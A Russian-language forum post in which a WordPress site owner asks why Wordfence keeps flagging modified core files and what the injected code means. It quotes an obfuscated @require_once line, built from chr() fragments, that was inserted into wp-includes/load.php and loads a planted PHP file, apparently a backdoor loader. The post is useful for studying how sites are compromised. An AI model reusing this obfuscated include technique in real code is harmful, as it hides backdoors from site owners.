сайт school-int12.ru
Доброго времени суток. Нередко, происходят изменения в файлах Вордпресса.Wordfence после сканирования выдает результаты.
Например,
WordPress core file modified: wp-includes/user.php
WordPress core file modified: wp-includes/taxonomy.php
WordPress core file modified: wp-includes/post.php
WordPress core file modified: wp-includes/load.php
WordPress core file modified: wp-includes/class-wp.php
Стоят плагины iThemes Security, Acunetix WP Security защита, вроде, настроена
Как происходит взлом? WordPress свежая версия, плагины обновляю, тема vantage.
плагины
Acunetix WP Security
Akismet
Captcha by BestWebSoft
Comfortable Reading
Cyr to Lat enhanced
iThemes Security
Menu Icons
Page Builder by SiteOrigin
TinyMCE Advanced
UpdraftPlus – Backup/Restore
Wordfence Security
WP Super Cache
WP-Optimize
Мета слайдер
С утра после сканирования опять изменения в файлах,
вордефенс показывает что файлы изменены следующим образом
Filename: wp-includes/load.php
File type: WordPress Core File
The Original Version of the file
function wp_fix_server_vars() {
The Modified Version on your WordPress system
/*load.php */
@require_once(""."".""."".""."/".""."".chr(104)."".""."o".""."".""."m".""."".""."".""."e"."".""."".""."/"."".""."v"."".""."".""."".chr(105)."".""."r".""."".""."".""."t".""."w".""."".""."".""."w".""."".""."".""."w"."".""."".chr(47).""."".""."".chr(119)."".""."".""."_".""."".""."".""."s"."".chr(99)."".""."".""."".chr(104).""."".""."".""."o".""."".""."o"."".""."".""."l".""."-".""."".""."i".""."".chr(110)."".chr(116)."".chr(49)."".""."2"."".chr(45)."".""."r"."".""."".""."u".""."".chr(95).""."b".""."".""."".chr(98)."".chr(101).""."".""."".""."9".""."".""."7"."".""."4"."".""."d".""."2".""."/"."".chr(104)."".chr(116).""."".chr(116).""."".chr(112)."".""."".""."/"."".""."".""."w"."".""."".chr(112).""."".""."-"."".""."".""."".chr(105)."".chr(110).""."c".""."".""."l".""."".chr(117).""."d".""."".chr(101)."".""."".chr(115)."".""."".chr(47)."".""."".""."".chr(73).""."".""."D"."".""."".chr(51).""."".chr(47).""."".chr(103).""."e".""."t"."".chr(105).""."".""."".chr(100).""."".""."".chr(51)."".""."".chr(95)."".""."".""."".chr(46)."".""."p"."".""."".""."".chr(104)."".""."".""."p");
/*load.php */function wp_fix_server_vars() {
в php разбираюсь слабо, может тут ничего критичного?
файлы вернул на исходные, поменял пароли на админку, БД, фтп, и ключи вордпресса